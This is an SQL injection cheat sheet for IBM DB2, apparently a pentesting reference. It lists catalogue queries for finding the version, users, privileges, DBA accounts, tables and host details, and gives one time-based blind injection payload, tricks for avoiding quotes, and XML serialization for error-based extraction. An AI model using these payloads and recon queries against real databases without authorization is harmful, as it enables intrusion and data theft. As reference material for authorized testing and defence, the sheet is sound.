DB2 Injection

Summary

DB2 Cheatsheet

Version

```
select versionnumber, version_timestamp from sysibm.sysversions;
select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
select getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+)
select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info())
as productinfo
select service_level,bld_level from sysibmadm.env_inst_info
```

Comments

```
select blah from foo -- comment like this (double dash)
```

Current User

```
select user from sysibm.sysdummy1
select session_user from sysibm.sysdummy1
select system_user from sysibm.sysdummy1
```

List Users

DB2 uses OS accounts

```
select distinct(authid) from sysibmadm.privileges -- priv required
select grantee from syscat.dbauth -- incomplete results
select distinct(definer) from syscat.schemata -- more accurate
select distinct(grantee) from sysibm.systabauth -- same as previous
```

List Privileges

```
select * from syscat.tabauth -- shows priv on tables
select * from syscat.tabauth where grantee = current user -- shows privs for current
user
select * from syscat.dbauth where grantee = current user;;
select * from SYSIBM.SYSUSERAUTH – List db2 system privilegies
```

List DBA Accounts

```
select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'
select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’
```

Current Database

```
select current server from sysibm.sysdummy1
```

List Databases

```
select distinct(table_catalog) from sysibm.tables
SELECT schemaname FROM syscat.schemata;
```

List Columns

```
select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat
```

List Tables

```
select table_name from sysibm.tables
select name from sysibm.systables
```

Find Tables From Column Name

```
select tbname from sysibm.syscolumns where name='username'
```

Select Nth Row

```
select name from (select * from sysibm.systables order by name asc fetch first N rows
only) order by name desc fetch first row only
```

Select Nth Char

```
select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b
```

Bitwise AND/OR/NOT/XOR

```
select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot,
bitor, bitxor, bitnot
```

ASCII Value

```
Char    select chr(65) from sysibm.sysdummy1 -- returns 'A'
```

Char -> ASCII Value

```
select ascii('A') from sysibm.sysdummy1 -- returns 65
```

Casting

```
select cast('123' as integer) from sysibm.sysdummy1
select cast(1 as char) from sysibm.sysdummy1
```

String Concat

```
select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc'
select 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab'
```

IF Statement

Seems only allowed in stored procedures. Use case logic instead.

Case Statement

```
select CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END from sysibm.sysdummy1
```

Avoiding Quotes

```
SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”.
Works without select too
```

Time Delay

Heavy queries, for example: If user starts with ascii 68 ('D'), the heavy query will be executed, delaying the response. However, if user doesn't start with ascii 68, the heavy query won't execute and thus the response will be faster.

```
' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns
t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68
```

Serialize to XML (for error based)

```
select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result.
```

Command Execution and Local File Access

Seems it's only allowed from procedures or UDFs.

Hostname/IP and OS INFO

```
select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv
```

Location of DB Files

```
select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv
```

System Config

```
select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.
select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg -- Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions.
```

Default System Database

- SYSIBM
- SYSCAT
- SYSSTAT
- SYSPUBLIC
- SYSIBMADM
- SYSTOOLs

References

- DB2 SQL injection cheat sheet - Adrián - 20/05/2012
- DB2 SQL Injection Cheat Sheet - pentestmonkey